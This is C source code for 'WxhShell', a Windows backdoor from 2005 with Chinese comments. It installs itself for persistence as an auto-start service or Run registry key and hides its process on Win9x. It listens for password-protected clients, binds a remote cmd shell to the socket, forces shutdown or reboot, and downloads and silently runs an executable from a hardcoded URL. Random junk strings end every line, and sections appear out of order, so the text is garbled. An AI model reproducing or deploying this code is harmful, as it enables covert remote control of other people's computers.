    closesocket(wsh); LD ]-IX&L  
    ExitThread(0); N"}>);r  
    } Xf_#O'z  
    break; Kf1J;*i|\  
    } U|]cB  
  // 关机 S=ZZ[E_~S  
  case 'd': { 9v_s_QkL2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ||JUP}eP  
    if(Boot(SHUTDOWN)) 4XNheP;b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x(._?5  
    else { w+/`l*  
    closesocket(wsh); & ?xR  
    ExitThread(0); Gsv<Rjj:  
    } tBbOxMm0  
    break; PQDLbSe)\  
    }  +=jS!  
  // 获取shell Bhxs(NO  
  case 's': { :~ pGHl  
    CmdShell(wsh); 3("C'(W  
    closesocket(wsh); KEtV  
    ExitThread(0); Sp492W+  
    break; .ojEKu+EJ'  
  } gYhY1Mym  
  // 退出 9T;4aP>6j#  
  case 'x': { >*RU:X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Hl`OT5 pNf  
    CloseIt(wsh); `*Yw-HL  
    break; UB.1xcI  
    } UxL*I[z5  
  // 离开 T[Zs{S  
  case 'q': { HwHF8#D*l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O;~e^ <*  
    closesocket(wsh); }3^m>i*8  
    WSACleanup(); -T,?'J0 2  
    exit(1); lFGuQLuqA{  
    break; &1$d`>fn  
        } r|EN5  
  } aOH|[  
  } ^K;k4oK  
EY)2,  
  // 提示信息 . :Skc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j:h}ka/!p  
} sq!$+=1-X  
  } mY.v:  
rS{}[$Zpl  
  return; iX$G($[l(  
} G IN|cv=  
#B;P4n3  
// shell模块句柄 ~Jk& !IE2  
int CmdShell(SOCKET sock) ,B[j{sE  
{ tw_o?9  
STARTUPINFO si; moM? aYm  
ZeroMemory(&si,sizeof(si)); 1(gs({  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7v*gwBH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZeP=}0TGjn  
PROCESS_INFORMATION ProcessInfo; zY*9M3(X  
char cmdline[]="cmd"; 053bM)qW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uZC=]Ieh  
  return 0; UDHWl_%L  
} rP:g`?*V  
{Sf[<I  
// 自身启动模式 ,WRm{ v0f^  
int StartFromService(void) U05;qKgkDF  
{ vkIIuNdDlx  
typedef struct &"^F;z/  
{ Ca|egQv  
  DWORD ExitStatus; lS4rpbU_  
  DWORD PebBaseAddress; ?H=q!i  
  DWORD AffinityMask; L}`/v]E"eU  
  DWORD BasePriority; Am<5J,<uy  
  ULONG UniqueProcessId; xU.1GI%UPu  
  ULONG InheritedFromUniqueProcessId; IMkE~0x4</  
}   PROCESS_BASIC_INFORMATION; }|.<EkA  
|-Uh3WUE6  
PROCNTQSIP NtQueryInformationProcess; L[x`i'0B  
M7TLQqaF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2!{D~Gfl=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fB8, )&  
#7]Jz.S  
  HANDLE             hProcess; ,U~A=bsa  
  PROCESS_BASIC_INFORMATION pbi; h3o'T=`Sm  
suY47DCX)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zMsup4cl  
  if(NULL == hInst ) return 0;  T Rv  
l~i?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0$*7lQ<a#M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8K,X3a9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h p]J> i.  
>Zb!?ntN`t  
  if (!NtQueryInformationProcess) return 0; aV\i3\da  
k =5k)}i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5(+9a   
  if(!hProcess) return 0; Xs~'M/> O  
GbSCk}>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P8eCaZg?(3  
C[L 5H  
  CloseHandle(hProcess); gXxi; g  
<Ht"t]u*Bn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?9`j1[0  
if(hProcess==NULL) return 0; 1Gsh%0r3  
/eV)5`V  
HMODULE hMod; V$?6%\M^*  
char procName[255]; W/qXQORv  
unsigned long cbNeeded; L7$f01*  
g-eJan&]N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5W&L6.J}+  
j%6p:wDl  
  CloseHandle(hProcess); ]SQ+r*a  
fx;rMGa  
if(strstr(procName,"services")) return 1; // 以服务启动 @ap!3o8,9  
dKzG,/1W[m  
  return 0; // 注册表启动 M~A# _%2U  
} S%iK);  
`?z('FV  
// 主模块 X q?>a+B  
int StartWxhshell(LPSTR lpCmdLine) B!wN%> U  
{ 8,U~ p<Gz  
  SOCKET wsl; !D=!  
BOOL val=TRUE; 8 0tA5AP  
  int port=0; sY;h~a0n  
  struct sockaddr_in door; Uu_qy(4  
vNSUrf,r  
  if(wscfg.ws_autoins) Install(); c,a8#Og  
o(hUC$vW  
port=atoi(lpCmdLine); Z)7{~xq  
&qx/ZT  
if(port<=0) port=wscfg.ws_port; 9hzu!}~'I  
Nf| 0O\+%y  
  WSADATA data; ~ P\4 N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %Psg53N  
~su>RolaX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }>{R<[I!G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w){B$X  
  door.sin_family = AF_INET; xrf|c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [U&k"s?  
  door.sin_port = htons(port); rS [4Pey  
*j3 U+HV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @NM0ILE  
closesocket(wsl); B ~v6_x  
return 1; &]TniQH  
} bJ:5pBJ3  
=Zj 7dn;EN  
  if(listen(wsl,2) == INVALID_SOCKET) { Ti? "Hr<W  
closesocket(wsl); m6i ,xn  
return 1; Qsbyy>o)  
} DGHSyB^+1  
  Wxhshell(wsl); c}@E@Y`@w  
  WSACleanup(); bW`nLiw}%  
wq?"NQ?O<  
return 0; iHv+I~/  
F@<cp ?dR  
} >g$iO`2  
1)~|{X+~  
// 以NT服务方式启动 lf=G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EB3/o7)L  
{ f&vMv.  
DWORD   status = 0; jRsl/dmy  
  DWORD   specificError = 0xfffffff; Tb] 7# v  
;mpYcpI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ja9u?UbW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]!TE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bPTtA;u  
  serviceStatus.dwWin32ExitCode     = 0; -|V#U`mwF  
  serviceStatus.dwServiceSpecificExitCode = 0; H,D5)1Uu  
  serviceStatus.dwCheckPoint       = 0; |sGJum&=  
  serviceStatus.dwWaitHint       = 0; ,a>Dv@$Y  
vv)q&,<c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;pm/nu  
  if (hServiceStatusHandle==0) return; N^QxqQ~  
LuZlGm  
status = GetLastError(); t^&hG7L_m,  
  if (status!=NO_ERROR) l;q]z  
{ ]G i&:k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &J/EBmY[  
    serviceStatus.dwCheckPoint       = 0; dQ*^WNUB  
    serviceStatus.dwWaitHint       = 0; .5\@G b.8  
    serviceStatus.dwWin32ExitCode     = status; UlWmf{1%]?  
    serviceStatus.dwServiceSpecificExitCode = specificError; >,,`7%Rv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ar)EbGId  
    return; |Ua);B~F  
  } _)j\ b  
?GX@&_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :i{M1z I  
  serviceStatus.dwCheckPoint       = 0; |OLXb+ 7X  
  serviceStatus.dwWaitHint       = 0; mX>N1zAz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fgqCX:SWz  
} }k.yLcXM  
6"_pCkn;c<  
// 处理NT服务事件,比如:启动、停止 reR@@O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @v`.^L{P  
{ ViW2q"4=  
switch(fdwControl) ]U#of O  
{ .-YE(}^  
case SERVICE_CONTROL_STOP: @KM?agtlbl  
  serviceStatus.dwWin32ExitCode = 0; f I%8@ :  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GJWGT`"  
  serviceStatus.dwCheckPoint   = 0; 0=&S?J#!  
  serviceStatus.dwWaitHint     = 0; %<^^ Mw  
  { bGwOhd<.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bvvja C  
  } {_!,T%>+1  
  return; p"P+8"`  
case SERVICE_CONTROL_PAUSE: Lv@WI6DM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UIU Pi gd  
  break; m=n79]b:N  
case SERVICE_CONTROL_CONTINUE: ;%0kzIvP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bj`GGxzOb  
  break; KC"S0 6  
case SERVICE_CONTROL_INTERROGATE: Rk5#5R n  
  break; -0xo6'mD  
}; Zb_A(mnzh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2c]751  
} Ep(xlHTv  
mxEe -q  
// 标准应用程序主函数 .<vXj QE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >-V632(/{o  
{ z 8M\(<  
n><ad*|MX  
// 获取操作系统版本 k5>UAea_  
OsIsNt=GetOsVer(); Ytc[ kp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 48z%dBmTT*  
o6^ETQ  
  // 从命令行安装 TfJ*G6\7e#  
  if(strpbrk(lpCmdLine,"iI")) Install(); uhj]le!  
t;Z9p7rk  
  // 下载执行文件 +wz1kPRs  
if(wscfg.ws_downexe) { 7:g_:}m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [*u\S  
  WinExec(wscfg.ws_filenam,SW_HIDE); #8L: .,AYE  
} khjdTq\\  
]i075bO/  
if(!OsIsNt) { 6|lsG6uf  
// 如果时win9x,隐藏进程并且设置为注册表启动 8g:VfzaHu  
HideProc(); 13 h,V]ak  
StartWxhshell(lpCmdLine); 8+Tv@  
} %AJ9fs4/  
else V5-!w0{  
  if(StartFromService()) %h(%M'm?  
  // 以服务方式启动 MtwlZg`c3  
  StartServiceCtrlDispatcher(DispatchTable); 9:g A0Z  
else _1RvK? ;.{  
  // 普通方式启动 E5A"sB   
  StartWxhshell(lpCmdLine); 3f$n8>mq  
s#<fj#S  
return 0; t{B@k[|  
} 4<tbZP3/6)  
u[KxI9Q  
>VZxDJ$R  
v .*fJ   
=========================================== $@kOMT  
Vo^J2[U  
#|8%h  
vCej( ))  
59$PWfi-\  
?7pn%_S  
" ZD]{HxGL!  
U:99w  
#include <stdio.h> Y5 ;a  
#include <string.h> k?HdW(HA  
#include <windows.h> q|%+?j(  
#include <winsock2.h> J<H]vs  
#include <winsvc.h> :~R a}  
#include <urlmon.h> P c&dU1  
,<!*@xy7v  
#pragma comment (lib, "Ws2_32.lib") `%~}p7Zu  
#pragma comment (lib, "urlmon.lib")  z9&j  
Ax\d{0/oL2  
#define MAX_USER   100 // 最大客户端连接数 _\yR/W~  
#define BUF_SOCK   200 // sock buffer ]%-U~avph  
#define KEY_BUFF   255 // 输入 buffer 4Th?q{X  
pRh9+1EM;  
#define REBOOT     0   // 重启 o "0 ~  
#define SHUTDOWN   1   // 关机 MCTJ^g"D  
D^>d<LX  
#define DEF_PORT   5000 // 监听端口 zqrqbqK5R  
8ZbXGQ  
#define REG_LEN     16   // 注册表键长度 1!V[fPJ  
#define SVC_LEN     80   // NT服务名长度 \15'~ ]d  
g]JJ!$*1  
// 从dll定义API Z" H;t\P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *tT}N@<%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0\"#Xa+}8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <uBRLe`)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); huA?*fat   
x6JV@wA&  
// wxhshell配置信息 2gklGDJD  
struct WSCFG { z&n2JpLY7  
  int ws_port;         // 监听端口 &n8Ja@Y]  
  char ws_passstr[REG_LEN]; // 口令 Fab]'#1q4  
  int ws_autoins;       // 安装标记, 1=yes 0=no bBc<p{  
  char ws_regname[REG_LEN]; // 注册表键名 KF(y`(8f  
  char ws_svcname[REG_LEN]; // 服务名 x0%m}P/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @1xVWSF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #%ld~dgz-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y5=,q]Qjk[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6/3E!8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &+(D< U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %{IgY{X  
|*w)]2B l  
}; :zo5`[P  
1yz%ud-l  
// default Wxhshell configuration V:j^!*  
struct WSCFG wscfg={DEF_PORT, E<tR8='F  
    "xuhuanlingzhe", Eo ^m; p5  
    1, "(W;rl  
    "Wxhshell", ha;fxM]  
    "Wxhshell", +1yi{!j1  
            "WxhShell Service", L?;UcCB  
    "Wrsky Windows CmdShell Service", Kyk{:UnI  
    "Please Input Your Password: ", :4 z\Q]  
  1, oB!Y)f6H1  
  "http://www.wrsky.com/wxhshell.exe", OAiW8B Ae  
  "Wxhshell.exe" (y?F8]TfM  
    }; _kRc"MaB  
p{_*<"cfYn  
// 消息定义模块 |S).,B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XZ8rM4 ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U!Zj%H1XQ0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kl~/tbf  
char *msg_ws_ext="\n\rExit."; yU/?4/G!  
char *msg_ws_end="\n\rQuit."; 9 4H')(  
char *msg_ws_boot="\n\rReboot..."; t\QLj&h}E  
char *msg_ws_poff="\n\rShutdown..."; $X-PjQb1Bb  
char *msg_ws_down="\n\rSave to "; &R.5t/x_  
ORP<?SG55u  
char *msg_ws_err="\n\rErr!"; G na%|tUz|  
char *msg_ws_ok="\n\rOK!"; W;R6+@I[  
XNx$^I=  
char ExeFile[MAX_PATH]; EUI*:JU-  
int nUser = 0; :+>7m  
HANDLE handles[MAX_USER]; '?m2|9~  
int OsIsNt; ipMSMk7gx  
- |DWPU!"  
SERVICE_STATUS       serviceStatus; 5tkKd4VfL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hR0a5   
ud)WH|Z  
// 函数声明 %X\A|V&  
int Install(void); R0#scr   
int Uninstall(void); .H M3s  
int DownloadFile(char *sURL, SOCKET wsh); E(6P%(yt8  
int Boot(int flag); *) B \M>  
void HideProc(void); *re?V9  
int GetOsVer(void); NL `  
int Wxhshell(SOCKET wsl); MUZ]*n&0  
void TalkWithClient(void *cs); >Ho=L)u  
int CmdShell(SOCKET sock); Bi;a~qE  
int StartFromService(void); [~|k;\2 +  
int StartWxhshell(LPSTR lpCmdLine); >oyf i:  
bcT_YFLQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YWd2bRb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UMNNAX  
|Fze9kZO  
// 数据结构和表定义 w0nbL^f  
SERVICE_TABLE_ENTRY DispatchTable[] = D}}?{pe  
{ >*O5Ry:4  
{wscfg.ws_svcname, NTServiceMain}, W\Scak>  
{NULL, NULL} `Nvhp]E  
}; <4;, y*"n  
b p?TO]LH  
// 自我安装 KK >j V  
int Install(void) W!.FnM5x  
{ _8K8Ai-~.>  
  char svExeFile[MAX_PATH]; JBw2#ry  
  HKEY key; uA =%EEZ  
  strcpy(svExeFile,ExeFile); Bx}"X?%S  
[];wP '*  
// 如果是win9x系统,修改注册表设为自启动 IMdp"  
if(!OsIsNt) { _(gkYJ+MK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { # SCLU9-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Js_d  
  RegCloseKey(key); .WN&]yr,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |zfFB7}v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mi(6HMA.SF  
  RegCloseKey(key); 7=X6_AD  
  return 0; ?xMTO  
    } !.V_?aYi8  
  } MTl @#M  
} ^)Y3V-@t  
else { &Q"vXs6Gt  
 Br s}  
// 如果是NT以上系统,安装为系统服务 bvZD@F`2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zp_j\B  
if (schSCManager!=0) RaTNA W)v>  
{ NW0se DL  
  SC_HANDLE schService = CreateService 3"0QW4A  
  ( b0h\l#6  
  schSCManager, 7|dm"%@  
  wscfg.ws_svcname, U,yZ.1V^:  
  wscfg.ws_svcdisp, }0 H<G0   
  SERVICE_ALL_ACCESS, S3U]AH)C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _'Vo3b  
  SERVICE_AUTO_START, # Dgkl  
  SERVICE_ERROR_NORMAL, yRyRH%p)  
  svExeFile, pcOi%D,o  
  NULL, AriV4 +  
  NULL, Citumc)E  
  NULL, $X.F=Kv  
  NULL, #2Q%sE?  
  NULL %j17QD8  
  ); |SMigSu r`  
  if (schService!=0) #>_fYjT  
  { }2BNy9q@  
  CloseServiceHandle(schService); d@*dbECG  
  CloseServiceHandle(schSCManager); >zJkG9a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yCkWuU9  
  strcat(svExeFile,wscfg.ws_svcname); O(0a l#Fvj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BOvJEs!UX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f`>\bdz  
  RegCloseKey(key); `'r]Oe  
  return 0; JF}i=}  
    } }>y~P~`S:  
  } !(Y|Vm'   
  CloseServiceHandle(schSCManager); ny^uNIRPR  
} q |Pebe=  
} p*cyW l  
Mx93D   
return 1; dXY}B=C  
} P*?2+.  
r SoT]6/   
// 自我卸载 }/NjZ*u  
int Uninstall(void) $ <[r3  
{ ;*Y+.?>a  
  HKEY key; ;VCFDE{K=  
g0/ R\  
if(!OsIsNt) { x3 Fn'+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GP ^^ K  
  RegDeleteValue(key,wscfg.ws_regname); Eqny'44  
  RegCloseKey(key); %(? ;`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +dq2}gM  
  RegDeleteValue(key,wscfg.ws_regname); R"t2=3K  
  RegCloseKey(key); +ZE"pA^C  
  return 0; y\iECdPU  
  } zKYN5|17  
} 5>1c4u`x  
} F)'_,.?0  
else { Bgsi$2hI  
}L{GwiDMDl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =.m/ X>  
if (schSCManager!=0) srImk6YD  
{ #z_.!E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (l2n%LL]*  
  if (schService!=0) \:n<&<aVSr  
  { ZS_  z  
  if(DeleteService(schService)!=0) { T|YMU?4  
  CloseServiceHandle(schService); Z>1yLt@ls  
  CloseServiceHandle(schSCManager); [["eK9 }0  
  return 0; UNrO$aX!1'  
  } ph2 _P[S'  
  CloseServiceHandle(schService); Vn/FW?d7  
  } |N^8zo :  
  CloseServiceHandle(schSCManager); ;uZq_^?:9&  
} %_5?/H@%3z  
} y?}<SnjP:  
a)+*Gf7?  
return 1; ), VF]  
} 9a1R"%Z  
XL1x8IB  
// 从指定url下载文件 VeFfkg4  
int DownloadFile(char *sURL, SOCKET wsh) V5jy,Qi)  
{ b|k(:b-G&.  
  HRESULT hr; +'[*ikxD=g  
char seps[]= "/"; 11A;z[Zk  
char *token; g6 SZ4WV  
char *file; /b4>0DXT5  
char myURL[MAX_PATH]; -"N vu  
char myFILE[MAX_PATH]; X1u\si%.4S  
&,/-<y-S  
strcpy(myURL,sURL); h2+"e# _  
  token=strtok(myURL,seps); H}usL)0&&  
  while(token!=NULL) ,MLAW  
  { +rrA>~  
    file=token; {FN4BC`3+  
  token=strtok(NULL,seps); [NGq$5  
  } 4*q6#=G  
VjiwW%UOM  
GetCurrentDirectory(MAX_PATH,myFILE); \)g}   
strcat(myFILE, "\\"); RM25]hx  
strcat(myFILE, file); 9I1i(0q  
  send(wsh,myFILE,strlen(myFILE),0); <{eJbNp  
send(wsh,"...",3,0); %wJ>V-\e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _(@V f=t  
  if(hr==S_OK) ZU 7u>  
return 0; g</Mk^CE  
else <@n3vO6  
return 1; `,c~M  
E.x<J.[Y  
} `P;3,@ e  
IJZx$8&A  
// 系统电源模块 ZtI@$ An  
int Boot(int flag) VW] ,R1q  
{ 7<5=fYb r  
  HANDLE hToken; &_]bzTok  
  TOKEN_PRIVILEGES tkp; 8feLhWg'P  
/)Weg1b  
  if(OsIsNt) { _#<7s`i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZZeF1y[q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f_.0 uM  
    tkp.PrivilegeCount = 1; #Y'ub 5s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d&DQ8Gm ^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Hv =7+O$  
if(flag==REBOOT) { /XuOv(j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j  W -K  
  return 0; clT[ ?8*  
} 'L%)B-,n  
else { c#fSt}J>C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ee$F]NA  
  return 0; AD'c#CT  
} hi ),PfAV  
  } ]vCs9* |B  
  else { Gkdxw uRw  
if(flag==REBOOT) { :-+j,G9 t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gYw=Z_z  
  return 0; qi1#s,  
} X'7MW? q@  
else { Q6PMRG}/o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3+vMi[YO  
  return 0; h& Ezhv2  
} <ZoMKUuB  
} ^%33&<mB}  
pG$l   
return 1; rWuqlx#  
} 1z8fhE iiE  
@l~MY *hp  
// win9x进程隐藏模块 A^7}:[s20  
void HideProc(void) :rN5HOg^9  
{ !$,e)89  
4+N9Ylh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,LDdL  
  if ( hKernel != NULL ) #4^D'r>pJ  
  { ~H626vT37  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )dRB I)P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KC-@2,c9V  
    FreeLibrary(hKernel); };~I#X  
  } YD;"_yH  
v<]$,V]  
return; 9 E  
} | Fk9ME  
8ao>]5Rs3  
// 获取操作系统版本 ztaSIMZ  
int GetOsVer(void) /| [%~`?BM  
{ tfd!;`B  
  OSVERSIONINFO winfo; 212  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YM +4:P2  
  GetVersionEx(&winfo); D^H4]7wG@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SrvC34<7  
  return 1; ia%U;M  
  else v ,)vW5jGI  
  return 0; SMHQh.O?5  
} {mB &xz:b  
;#dzw!+Y  
// 客户端句柄模块 lT F#efcW  
int Wxhshell(SOCKET wsl) XCE<].w  
{ o:RO(oA0?  
  SOCKET wsh; ]Cc8[ZC  
  struct sockaddr_in client; od]1:8OF  
  DWORD myID; x^!LA,`j  
udX!R^8jE  
  while(nUser<MAX_USER) O['5/:-  
{ q<Wz9lDMNR  
  int nSize=sizeof(client); 2!6-+]tC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]=sGLd^)E  
  if(wsh==INVALID_SOCKET) return 1; `g,i `<  
GuRJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7j{63d`2  
if(handles[nUser]==0) gib;> nuBK  
  closesocket(wsh); Q+^"v]V`d  
else h8?E+0  
  nUser++; NGuRyZp69&  
  } jH]?vpP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JO|xX<#:  
%`^{Hh`  
  return 0; sj%\lq  
} hXP'NS`iv  
o<i\1<eI  
// 关闭 socket ,V # r  
void CloseIt(SOCKET wsh) ey) 8q.5  
{ $ud\CU:r  
closesocket(wsh); (p}N cn.  
nUser--; N/eFwv.Er  
ExitThread(0); z%[^-l-  
} 5^GrG|~  
qM0Df0$?x  
// 客户端请求句柄 fTV}IP  
void TalkWithClient(void *cs) ?8@EBPpC  
{ kk7M$)>d  
E'F87P^>  
  SOCKET wsh=(SOCKET)cs; HmVpxD+  
  char pwd[SVC_LEN]; 5?C) v}w+  
  char cmd[KEY_BUFF]; P#ot$@1v  
char chr[1]; sn:wLc/GAd  
int i,j; 4lF?s\W:  
#P-T4 R  
  while (nUser < MAX_USER) { |C.[eHe&D  
APL #-`XC  
if(wscfg.ws_passstr) { TWo.c _l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @hIHvLpRB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _If:~mIs  
  //ZeroMemory(pwd,KEY_BUFF); _D~FwF&A  
      i=0; 3v:c'R0  
  while(i<SVC_LEN) { oh^QW`#(  
5SwQ9#  
  // 设置超时 DeR C_ [  
  fd_set FdRead; -!pg1w06  
  struct timeval TimeOut; 3`DwKv `+  
  FD_ZERO(&FdRead); x_BnWFP  
  FD_SET(wsh,&FdRead); J+0T8 ?A  
  TimeOut.tv_sec=8; $ 2PpG|q  
  TimeOut.tv_usec=0; !6DH6<HC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !ZTBiC5R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C: <TJ  
IRB BLXv7\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }C9P--  
  pwd=chr[0]; Rkz[x  
  if(chr[0]==0xd || chr[0]==0xa) { szU_,.\  
  pwd=0; ZH8Oidj`  
  break; W)m\q}]FYz  
  } -4nSiI  
  i++; J:Ncy}AO  
    } s2iL5N|"Q  
KeE)9e   
  // 如果是非法用户,关闭 socket Y@R9+ 7!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,lr\XhO  
} EZg$mp1  
b0!ZA/YC-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'AJlkLqm#>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .z&,d&E  
<B3$ODGJp  
while(1) { ?9m@ S#@  
Vrx3%_NkQ  
  ZeroMemory(cmd,KEY_BUFF); 2g:V_%  
)6 [d'2  
      // 自动支持客户端 telnet标准   #a=~a=c(^  
  j=0; v* /}s :a  
  while(j<KEY_BUFF) { `%A>{A"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {/PiX1mn  
  cmd[j]=chr[0]; e95@4f^K2  
  if(chr[0]==0xa || chr[0]==0xd) { 6=i@t tAK  
  cmd[j]=0; 23~KzC  
  break; \S`|7JYW  
  } x4nmDEpa  
  j++; 7\sRf/  
    } $mq @g  
w@"l0gm+u[  
  // 下载文件 JN:EcVuy  
  if(strstr(cmd,"http://")) { e!JC5Al7  
